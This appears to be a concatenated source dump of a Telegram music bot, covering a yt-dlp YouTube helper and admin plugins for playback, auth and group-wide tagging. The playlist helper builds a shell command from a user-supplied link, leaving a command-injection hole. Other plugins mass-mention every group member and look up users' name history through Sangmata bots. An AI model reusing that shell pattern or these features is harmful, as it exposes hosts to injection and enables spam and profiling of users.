self.base = "https://www.youtube.com/watch?v=" self.regex = r"(?:youtube\.com|youtu\.be)" self.status = "https://www.youtube.com/oembed?url=" self.listbase = "https://youtube.com/playlist?list=" self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") async def exists(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if re.search(self.regex, link): return True else: return False async def url(self, message_1: Message) -> Union[str, None]: messages = [message_1] if message_1.reply_to_message: messages.append(message_1.reply_to_message) text = "" offset = None length = None for message in messages: if offset: break if message.entities: for entity in message.entities: if entity.type == MessageEntityType.URL: text = message.text or message.caption offset, length = entity.offset, entity.length break elif message.caption_entities: for entity in message.caption_entities: if entity.type == MessageEntityType.TEXT_LINK: return entity.url if offset in (None,): return None return text[offset : offset + length] async def details(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: title = result["title"] duration_min = result["duration"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] vidid = result["id"] if str(duration_min) == "None": duration_sec = 0 else: duration_sec = int(time_to_seconds(duration_min)) return title, duration_min, duration_sec, thumbnail, vidid async def title(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: title = result["title"] return title async def duration(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: duration = result["duration"] return duration async def thumbnail(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: thumbnail = result["thumbnails"][0]["url"].split("?")[0] return thumbnail async def video(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] proc = await asyncio.create_subprocess_exec( "yt-dlp", "--cookies",cookie_txt_file(), "-g", "-f", "best[height<=?720][width<=?1280]", f"{link}", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) stdout, stderr = await proc.communicate() if stdout: return 1, stdout.decode().split("\n")[0] else: return 0, stderr.decode() async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None): if videoid: link = self.listbase + link if "&" in link: link = link.split("&")[0] playlist = await shell_cmd( f"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}" ) try: result = playlist.split("\n") for key in result: if key == "": result.remove(key) except: result = [] return result async def track(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: title = result["title"] duration_min = result["duration"] vidid = result["id"] yturl = result["link"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] track_details = { "title": title, "link": yturl, "vidid": vidid, "duration_min": duration_min, "thumb": thumbnail, } return track_details, vidid async def formats(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] ytdl_opts = {"quiet": True, "cookiefile" : cookie_txt_file()} ydl = yt_dlp.YoutubeDL(ytdl_opts) with ydl: formats_available = [] r = ydl.extract_info(link, download=False) for format in r["formats"]: try: str(format["format"]) except: continue if not "dash" in str(format["format"]).lower(): try: format["format"] format["filesize"] format["format_id"] format["ext"] format["format_note"] except: continue formats_available.append( { "format": format["format"], "filesize": format["filesize"], "format_id": format["format_id"], "ext": format["ext"], "format_note": format["format_note"], "yturl": link, } ) return formats_available, link async def slider( self, link: str, query_type: int, videoid: Union[bool, str] = None, ): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] a = VideosSearch(link, limit=10) result = (await a.next()).get("result") title = result[query_type]["title"] duration_min = result[query_type]["duration"] vidid = result[query_type]["id"] thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0] return title, duration_min, thumbnail, vidid async def download( self, link: str, mystic, video: Union[bool, str] = None, videoid: Union[bool, str] = None, songaudio: Union[bool, str] = None, songvideo: Union[bool, str] = None, format_id: Union[bool, str] = None, title: Union[bool, str] = None, ) -> str: if videoid: link = self.base + link loop = asyncio.get_running_loop() def audio_dl(): ydl_optssx = { "format": "bestaudio/best", "outtmpl": "downloads/%(id)s.%(ext)s", "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "cookiefile" : cookie_txt_file(), "no_warnings": True, } x = yt_dlp.YoutubeDL(ydl_optssx) info = x.extract_info(link, False) xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}") if os.path.exists(xyz): return xyz x.download([link]) return xyz def video_dl(): ydl_optssx = { "format": "(bestvideo[height<=?720][width<=?1280][ext=mp4])+(bestaudio[ext=m4a])", "outtmpl": "downloads/%(id)s.%(ext)s", "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "cookiefile" : cookie_txt_file(), "no_warnings": True, } x = yt_dlp.YoutubeDL(ydl_optssx) info = x.extract_info(link, False) xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}") if os.path.exists(xyz): return xyz x.download([link]) return xyz def song_video_dl(): formats = f"{format_id}+140" fpath = f"downloads/{title}" ydl_optssx = { "format": formats, "outtmpl": fpath, "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "no_warnings": True, "cookiefile" : cookie_txt_file(), "prefer_ffmpeg": True, "merge_output_format": "mp4", } x = yt_dlp.YoutubeDL(ydl_optssx) x.download([link]) def song_audio_dl(): fpath = f"downloads/{title}.%(ext)s" ydl_optssx = { "format": format_id, "outtmpl": fpath, "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "no_warnings": True, "cookiefile" : cookie_txt_file(), "prefer_ffmpeg": True, "postprocessors": [ { "key": "FFmpegExtractAudio", "preferredcodec": "mp3", "preferredquality": "192", } ], } x = yt_dlp.YoutubeDL(ydl_optssx) x.download([link]) if songvideo: await loop.run_in_executor(None, song_video_dl) fpath = f"downloads/{title}.mp4" return fpath elif songaudio: await loop.run_in_executor(None, song_audio_dl) fpath = f"downloads/{title}.mp3" return fpath elif video: if await is_on_off(1): direct = True downloaded_file = await loop.run_in_executor(None, video_dl) else: proc = await asyncio.create_subprocess_exec( "yt-dlp", "--cookies",cookie_txt_file(), "-g", "-f", "best[height<=?720][width<=?1280]", f"{link}", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) stdout, stderr = await proc.communicate() if stdout: downloaded_file = stdout.decode().split("\n")[0] direct = False else: file_size = await check_file_size(link) if not file_size: print("None file Size") return total_size_mb = file_size / (1024 * 1024) if total_size_mb > 250: print(f"File size {total_size_mb:.2f} MB exceeds the 100MB limit.") return None direct = True downloaded_file = await loop.run_in_executor(None, video_dl) else: direct = True downloaded_file = await loop.run_in_executor(None, audio_dl) return downloaded_file, direct ================================================ FILE: BrandrdXMusic/platforms/__init__.py ================================================ from .Apple import AppleAPI from .Carbon import CarbonAPI from .Resso import RessoAPI from .Soundcloud import SoundAPI from .Spotify import SpotifyAPI from .Telegram import TeleAPI from .Youtube import YouTubeAPI ================================================ FILE: BrandrdXMusic/plugins/__init__.py ================================================ import glob from os.path import dirname, isfile def __list_all_modules(): work_dir = dirname(__file__) mod_paths = glob.glob(work_dir + "/*/*.py") all_modules = [ (((f.replace(work_dir, "")).replace("/", "."))[:-3]) for f in mod_paths if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py") ] return all_modules ALL_MODULES = sorted(__list_all_modules()) __all__ = ALL_MODULES + ["ALL_MODULES"] ================================================ FILE: BrandrdXMusic/plugins/admins/Sangmata.py ================================================ import asyncio import random from pyrogram import Client, filters from pyrogram.types import Message from pyrogram.raw.functions.messages import DeleteHistory from BrandrdXMusic import userbot as us, app from BrandrdXMusic.core.userbot import assistants @app.on_message(filters.command("sg")) async def sg(client: Client, message: Message): if len(message.text.split()) < 1 and not message.reply_to_message: return await message.reply("sg username/id/reply") if message.reply_to_message: args = message.reply_to_message.from_user.id else: args = message.text.split()[1] lol = await message.reply("Processing...") if args: try: user = await client.get_users(f"{args}") except Exception: return await lol.edit("Please specify a valid user!") bo = ["sangmata_bot", "sangmata_beta_bot"] sg = random.choice(bo) if 1 in assistants: ubot = us.one try: a = await ubot.send_message(sg, f"{user.id}") await a.delete() except Exception as e: return await lol.edit(e) await asyncio.sleep(1) async for stalk in ubot.search_messages(a.chat.id): if stalk.text == None: continue if not stalk: await message.reply("botnya ngambek") elif stalk: await message.reply(f"{stalk.text}") break try: user_info = await ubot.resolve_peer(sg) await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True)) except Exception: pass await lol.delete() ================================================ FILE: BrandrdXMusic/plugins/admins/all_tag.py ================================================ import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions from BrandrdXMusic import app from BrandrdXMusic.utils.branded_ban import admin_filter SPAM_CHATS = [] @app.on_message( filters.command(["all", "mention", "mentionall"], prefixes=["/", "@", ".", "#"]) & admin_filter ) async def tag_all_users(_, message): replied = message.reply_to_message if len(message.command) < 2 and not replied: await message.reply_text( "** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@all Hi Friends`" ) return if replied: SPAM_CHATS.append(message.chat.id) usernum = 0 usertxt = "" async for m in app.get_chat_members(message.chat.id): if message.chat.id not in SPAM_CHATS: break usernum += 1 usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n" if usernum == 5: await replied.reply_text(usertxt) await asyncio.sleep(2) usernum = 0 usertxt = "" try: SPAM_CHATS.remove(message.chat.id) except Exception: pass else: text = message.text.split(None, 1)[1] SPAM_CHATS.append(message.chat.id) usernum = 0 usertxt = "" async for m in app.get_chat_members(message.chat.id): if message.chat.id not in SPAM_CHATS: break usernum += 1 usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n" if usernum == 5: await app.send_message( message.chat.id, f"{text}\n{usertxt}\n\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /cancel ||", ) await asyncio.sleep(2) usernum = 0 usertxt = "" try: SPAM_CHATS.remove(message.chat.id) except Exception: pass @app.on_message( filters.command( [ "stopmention", "offall", "cancel", "allstop", "stopall", "cancelmention", "offmention", "mentionoff", "alloff", "cancelall", "allcancel", ], prefixes=["/", "@", "#"], ) & admin_filter ) async def cancelcmd(_, message): chat_id = message.chat.id if chat_id in SPAM_CHATS: try: SPAM_CHATS.remove(chat_id) except Exception: pass return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**") else: await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**") return ================================================ FILE: BrandrdXMusic/plugins/admins/assistant_tag.py ================================================ import asyncio from pyrogram import filters from pyrogram.enums import ChatMembersFilter from pyrogram.errors import FloodWait from BrandrdXMusic.utils.database import get_assistant from BrandrdXMusic import app from BrandrdXMusic.utils.branded_ban import admin_filter SPAM_CHATS = [] @app.on_message( filters.command( ["atag", "aall", "amention", "amentionall"], prefixes=["/", "@", ".", "#"] ) & admin_filter ) async def atag_all_useres(_, message): userbot = await get_assistant(message.chat.id) if message.chat.id in SPAM_CHATS: return await message.reply_text( "ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss ɪs ᴀʟʀᴇᴀᴅʏ ʀᴜɴɴɪɴɢ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ sᴛᴏᴘ sᴏ ᴜsᴇ /acancel" ) replied = message.reply_to_message if len(message.command) < 2 and not replied: await message.reply_text( "** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@aall Hi Friends`" ) return if replied: SPAM_CHATS.append(message.chat.id) usernum = 0 usertxt = "" async for m in app.get_chat_members(message.chat.id): if message.chat.id not in SPAM_CHATS: break usernum += 1 usertxt += f"[{m.user.first_name}](tg://openmessage?user_id={m.user.id})" if usernum == 14: await userbot.send_message( message.chat.id, f"{replied.text}\n\n{usertxt}", disable_web_page_preview=True, ) await asyncio.sleep(2) usernum = 0 usertxt = "" try: SPAM_CHATS.remove(message.chat.id) except Exception: pass else: text = message.text.split(None, 1)[1] SPAM_CHATS.append(message.chat.id) usernum = 0 usertxt = "" async for m in app.get_chat_members(message.chat.id): if message.chat.id not in SPAM_CHATS: break usernum += 1 usertxt += f'{m.user.first_name}' if usernum == 14: await userbot.send_message( message.chat.id, f"{text}\n{usertxt}", disable_web_page_preview=True ) await asyncio.sleep(2) usernum = 0 usertxt = "" try: SPAM_CHATS.remove(message.chat.id) except Exception: pass async def cancelcmd(_, message): chat_id = message.chat.id if chat_id in SPAM_CHATS: try: SPAM_CHATS.remove(chat_id) except Exception: pass return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**") else: await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**") return ================================================ FILE: BrandrdXMusic/plugins/admins/auth.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.utils import extract_user, int_to_alpha from BrandrdXMusic.utils.database import ( delete_authuser, get_authuser, get_authuser_names, save_authuser, ) from BrandrdXMusic.utils.decorators import AdminActual, language from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS, adminlist @app.on_message(filters.command("auth") & filters.group & ~BANNED_USERS) @AdminActual async def auth(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) token = await int_to_alpha(user.id) _check = await get_authuser_names(message.chat.id) count = len(_check) if int(count) == 25: return await message.reply_text(_["auth_1"]) if token not in _check: assis = { "auth_user_id": user.id, "auth_name": user.first_name, "admin_id": message.from_user.id, "admin_name": message.from_user.first_name, } get = adminlist.get(message.chat.id) if get: if user.id not in get: get.append(user.id) await save_authuser(message.chat.id, token, assis) return await message.reply_text(_["auth_2"].format(user.mention)) else: return await message.reply_text(_["auth_3"].format(user.mention)) @app.on_message(filters.command("unauth") & filters.group & ~BANNED_USERS) @AdminActual async def unauthusers(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) token = await int_to_alpha(user.id) deleted = await delete_authuser(message.chat.id, token) get = adminlist.get(message.chat.id) if get: if user.id in get: get.remove(user.id) if deleted: return await message.reply_text(_["auth_4"].format(user.mention)) else: return await message.reply_text(_["auth_5"].format(user.mention)) @app.on_message( filters.command(["authlist", "authusers"]) & filters.group & ~BANNED_USERS ) @language async def authusers(client, message: Message, _): _wtf = await get_authuser_names(message.chat.id) if not _wtf: return await message.reply_text(_["setting_4"]) else: j = 0 mystic = await message.reply_text(_["auth_6"]) text = _["auth_7"].format(message.chat.title) for umm in _wtf: _umm = await get_authuser(message.chat.id, umm) user_id = _umm["auth_user_id"] admin_id = _umm["admin_id"] admin_name = _umm["admin_name"] try: user = (await app.get_users(user_id)).first_name j += 1 except: continue text += f"{j}➤ {user}[{user_id}]\n" text += f" {_['auth_8']} {admin_name}[{admin_id}]\n\n" await mystic.edit_text(text, reply_markup=close_markup(_)) ================================================ FILE: BrandrdXMusic/plugins/admins/callback.py ================================================ import asyncio from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import SUDOERS, db from BrandrdXMusic.utils.database import ( get_active_chats, get_lang, get_upvote_count, is_active_chat, is_music_playing, is_nonadmin_chat, music_off, music_on, set_loop, ) from BrandrdXMusic.utils.decorators.language import languageCB from BrandrdXMusic.utils.formatters import seconds_to_min from BrandrdXMusic.utils.inline import ( close_markup, stream_markup, stream_markup_timer, ) from BrandrdXMusic.utils.stream.autoclear import auto_clean from BrandrdXMusic.utils.thumbnails import get_thumb from config import ( BANNED_USERS, SOUNCLOUD_IMG_URL, STREAM_IMG_URL, TELEGRAM_AUDIO_URL, TELEGRAM_VIDEO_URL, adminlist, confirmer, votemode, ) from strings import get_string checker = {} upvoters = {} @app.on_callback_query(filters.regex("ADMIN") & ~BANNED_USERS) @languageCB async def del_back_playlist(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] command, chat = callback_request.split("|") if "_" in str(chat): bet = chat.split("_") chat = bet[0] counter = bet[1] chat_id = int(chat) if not await is_active_chat(chat_id): return await CallbackQuery.answer(_["general_5"], show_alert=True) mention = CallbackQuery.from_user.mention if command == "UpVote": if chat_id not in votemode: votemode[chat_id] = {} if chat_id not in upvoters: upvoters[chat_id] = {} voters = (upvoters[chat_id]).get(CallbackQuery.message.id) if not voters: upvoters[chat_id][CallbackQuery.message.id] = [] vote = (votemode[chat_id]).get(CallbackQuery.message.id) if not vote: votemode[chat_id][CallbackQuery.message.id] = 0 if CallbackQuery.from_user.id in upvoters[chat_id][CallbackQuery.message.id]: (upvoters[chat_id][CallbackQuery.message.id]).remove( CallbackQuery.from_user.id ) votemode[chat_id][CallbackQuery.message.id] -= 1 else: (upvoters[chat_id][CallbackQuery.message.id]).append( CallbackQuery.from_user.id ) votemode[chat_id][CallbackQuery.message.id] += 1 upvote = await get_upvote_count(chat_id) get_upvotes = int(votemode[chat_id][CallbackQuery.message.id]) if get_upvotes >= upvote: votemode[chat_id][CallbackQuery.message.id] = upvote try: exists = confirmer[chat_id][CallbackQuery.message.id] current = db[chat_id][0] except: return await CallbackQuery.edit_message_text(f"ғᴀɪʟᴇᴅ.") try: if current["vidid"] != exists["vidid"]: return await CallbackQuery.edit_message.text(_["admin_35"]) if current["file"] != exists["file"]: return await CallbackQuery.edit_message.text(_["admin_35"]) except: return await CallbackQuery.edit_message_text(_["admin_36"]) try: await CallbackQuery.edit_message_text(_["admin_37"].format(upvote)) except: pass command = counter mention = "ᴜᴘᴠᴏᴛᴇs" else: if ( CallbackQuery.from_user.id in upvoters[chat_id][CallbackQuery.message.id] ): await CallbackQuery.answer(_["admin_38"], show_alert=True) else: await CallbackQuery.answer(_["admin_39"], show_alert=True) upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=f"👍 {get_upvotes}", callback_data=f"ADMIN UpVote|{chat_id}_{counter}", ) ] ] ) await CallbackQuery.answer(_["admin_40"], show_alert=True) return await CallbackQuery.edit_message_reply_markup(reply_markup=upl) else: is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: if CallbackQuery.from_user.id not in SUDOERS: admins = adminlist.get(CallbackQuery.message.chat.id) if not admins: return await CallbackQuery.answer(_["admin_13"], show_alert=True) else: if CallbackQuery.from_user.id not in admins: return await CallbackQuery.answer( _["admin_14"], show_alert=True ) if command == "Pause": if not await is_music_playing(chat_id): return await CallbackQuery.answer(_["admin_1"], show_alert=True) await CallbackQuery.answer() await music_off(chat_id) await Hotty.pause_stream(chat_id) await CallbackQuery.message.reply_text( _["admin_2"].format(mention), reply_markup=close_markup(_) ) elif command == "Resume": if await is_music_playing(chat_id): return await CallbackQuery.answer(_["admin_3"], show_alert=True) await CallbackQuery.answer() await music_on(chat_id) await Hotty.resume_stream(chat_id) await CallbackQuery.message.reply_text( _["admin_4"].format(mention), reply_markup=close_markup(_) ) elif command == "Stop" or command == "End": await CallbackQuery.answer() await Hotty.stop_stream(chat_id) await set_loop(chat_id, 0) await CallbackQuery.message.reply_text( _["admin_5"].format(mention), reply_markup=close_markup(_) ) await CallbackQuery.message.delete() elif command == "Skip" or command == "Replay": check = db.get(chat_id) if command == "Skip": txt = f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀" popped = None try: popped = check.pop(0) if popped: await auto_clean(popped) if not check: await CallbackQuery.edit_message_text( f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀" ) await CallbackQuery.message.reply_text( text=_["admin_6"].format( mention, CallbackQuery.message.chat.title ), reply_markup=close_markup(_), ) try: return await Hotty.stop_stream(chat_id) except: return except: try: await CallbackQuery.edit_message_text( f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀" ) await CallbackQuery.message.reply_text( text=_["admin_6"].format( mention, CallbackQuery.message.chat.title ), reply_markup=close_markup(_), ) return await Hotty.stop_stream(chat_id) except: return else: txt = f"➻ sᴛʀᴇᴀᴍ ʀᴇ-ᴘʟᴀʏᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀" await CallbackQuery.answer() queued = check[0]["file"] title = (check[0]["title"]).title() user = check[0]["by"] duration = check[0]["dur"] streamtype = check[0]["streamtype"] videoid = check[0]["vidid"] status = True if str(streamtype) == "video" else None db[chat_id][0]["played"] = 0 exis = (check[0]).get("old_dur") if exis: db[chat_id][0]["dur"] = exis db[chat_id][0]["seconds"] = check[0]["old_second"] db[chat_id][0]["speed_path"] = None db[chat_id][0]["speed"] = 1.0 if "live_" in queued: n, link = await YouTube.video(videoid, True) if n == 0: return await CallbackQuery.message.reply_text( text=_["admin_7"].format(title), reply_markup=close_markup(_), ) try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, link, video=status, image=image) except: return await CallbackQuery.message.reply_text(_["call_6"]) button = stream_markup2(_, chat_id) img = await get_thumb(videoid) run = await CallbackQuery.message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], duration, user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_)) elif "vid_" in queued: mystic = await CallbackQuery.message.reply_text( _["call_7"], disable_web_page_preview=True ) try: file_path, direct = await YouTube.download( videoid, mystic, videoid=True, video=status, ) except: return await mystic.edit_text(_["call_6"]) try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, file_path, video=status, image=image) except: return await mystic.edit_text(_["call_6"]) button = stream_markup(_, videoid, chat_id) img = await get_thumb(videoid) run = await CallbackQuery.message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], duration, user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_)) await mystic.delete() elif "index_" in queued: try: await Hotty.skip_stream(chat_id, videoid, video=status) except: return await CallbackQuery.message.reply_text(_["call_6"]) button = stream_markup2(_, chat_id) run = await CallbackQuery.message.reply_photo( photo=STREAM_IMG_URL, caption=_["stream_2"].format(user), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_)) else: if videoid == "telegram": image = None elif videoid == "soundcloud": image = None else: try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, queued, video=status, image=image) except: return await CallbackQuery.message.reply_text(_["call_6"]) if videoid == "telegram": button = stream_markup2(_, chat_id) run = await CallbackQuery.message.reply_photo( photo=TELEGRAM_AUDIO_URL if str(streamtype) == "audio" else TELEGRAM_VIDEO_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], duration, user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif videoid == "soundcloud": button = stream_markup2(_, chat_id) run = await CallbackQuery.message.reply_photo( photo=SOUNCLOUD_IMG_URL if str(streamtype) == "audio" else TELEGRAM_VIDEO_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], duration, user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: button = stream_markup(_, videoid, chat_id) img = await get_thumb(videoid) run = await CallbackQuery.message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], duration, user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_)) async def markup_timer(): while not await asyncio.sleep(1): active_chats = await get_active_chats() for chat_id in active_chats: try: if not await is_music_playing(chat_id): continue playing = db.get(chat_id) if not playing: continue duration_seconds = int(playing[0]["seconds"]) if duration_seconds == 0: continue try: mystic = playing[0]["markup"] except: continue try: check = checker[chat_id][mystic.id] if check is False: continue except: pass try: language = await get_lang(chat_id) _ = get_string(language) except: _ = get_string("en") try: mystic = playing[0]["mystic"] markup = playing[0]["markup"] except: continue try: check = wrong[chat_id][mystic.id] if check is False: continue except: pass try: language = await get_lang(chat_id) _ = get_string(language) except: _ = get_string("en") try: mystic = playing[0]["mystic"] markup = playing[0]["markup"] except: continue try: check = wrong[chat_id][mystic.id] if check is False: continue except: pass try: language = await get_lang(chat_id) _ = get_string(language) except: _ = get_string("en") try: buttons = ( stream_markup_timer( _, playing[0]["vidid"], chat_id, seconds_to_min(playing[0]["played"]), playing[0]["dur"], ) if markup == "stream" else stream_markup_timer2( _, chat_id, seconds_to_min(playing[0]["played"]), playing[0]["dur"], ) ) await mystic.edit_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) except: continue except: continue asyncio.create_task(markup_timer()) ================================================ FILE: BrandrdXMusic/plugins/admins/entag.py ================================================ from BrandrdXMusic import app import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions spam_chats = [] EMOJI = [ "🦋🦋🦋🦋🦋", "🧚🌸🧋🍬🫖", "🥀🌷🌹🌺💐", "🌸🌿💮🌱🌵", "❤️💚💙💜🖤", "💓💕💞💗💖", "🌸💐🌺🌹🦋", "🍔🦪🍛🍲🥗", "🍎🍓🍒🍑🌶️", "🧋🥤🧋🥛🍷", "🍬🍭🧁🎂🍡", "🍨🧉🍺☕🍻", "🥪🥧🍦🍥🍚", "🫖☕🍹🍷🥛", "☕🧃🍩🍦🍙", "🍁🌾💮🍂🌿", "🌨️🌥️⛈️🌩️🌧️", "🌷🏵️🌸🌺💐", "💮🌼🌻🍀🍁", "🧟🦸🦹🧙👸", "🧅🍠🥕🌽🥦", "🐷🐹🐭🐨🐻‍❄️", "🦋🐇🐀🐈🐈‍⬛", "🌼🌳🌲🌴🌵", "🥩🍋🍐🍈🍇", "🍴🍽️🔪🍶🥃", "🕌🏰🏩⛩️🏩", "🎉🎊🎈🎂🎀", "🪴🌵🌴🌳🌲", "🎄🎋🎍🎑🎎", "🦅🦜🕊️🦤🦢", "🦤🦩🦚🦃🦆", "🐬🦭🦈🐋🐳", "🐔🐟🐠🐡🦐", "🦩🦀🦑🐙🦪", "🐦🦂🕷️🕸️🐚", "🥪🍰🥧🍨🍨", " 🥬🍉🧁🧇", ] TAGMES = [ " **※ ɪ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**", " **※ ғᴏʀɢᴇᴛ ᴍᴇ..ᰔᩚ", " **※ ɪ ᴅᴏɴ'ᴛ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**", " **※ ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs ᴘɪʏᴀ, ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs...ᰔᩚ**", " **※ ᴊᴏɪɴ ᴍʏ ɢʀᴏᴜᴘ ᴀʟsᴏ...ᰔᩚ**", " **※ ɪ ᴋᴇᴘᴛ ʏᴏᴜʀ ɴᴀᴍᴇ ɪɴ ᴍʏ ʜᴇᴀʀᴛ...ᰔᩚ**", " **※ ᴡʜᴇʀᴇ ᴀʀᴇ ᴀʟʟ ʏᴏᴜʀ ғʀɪᴇɴᴅs...ᰔᩚ**", " **※ ɪɴ ᴡʜᴏsᴇ ᴍᴇᴍᴏʀʏ ᴀʀᴇ ʏᴏᴜ ʟᴏsᴛ ᴍʏ ʟᴏᴠᴇ...ᰔᩚ**", " **※ ᴡʜᴀᴛs ʏᴏᴜʀ ᴘʀᴏғᴇssɪᴏɴ...ᰔᩚ**", " **※ ᴡʜᴇʀᴇ ᴅɪᴅ ʏᴏᴜ ʟɪᴠᴇ...ᰔᩚ**", " **※ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʙᴀʙʏ...ᰔᩚ**", " **※ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɪᴛ's ᴠᴇʀʏ ʟᴀᴛᴇ...ᰔᩚ**", " **※ ɪ ғᴇᴇʟ ᴠᴇʀʏ sᴀᴅ ᴛᴏᴅᴀʏ...ᰔᩚ**", " **※ ᴛᴀʟᴋ ᴛᴏ ᴍᴇ ᴛᴏᴏ...ᰔᩚ**", " **※ ᴡʜᴀᴛ's ғᴏʀ ᴅɪɴɴᴇʀ ᴛᴏᴅᴀʏ...ᰔᩚ**", " **※ ᴡʜᴀᴛ's ɢᴏɪɴɢ ᴏɴ...ᰔᩚ**", " **※ ᴡʜʏ ᴅᴏɴ'ᴛ ʏᴏᴜ 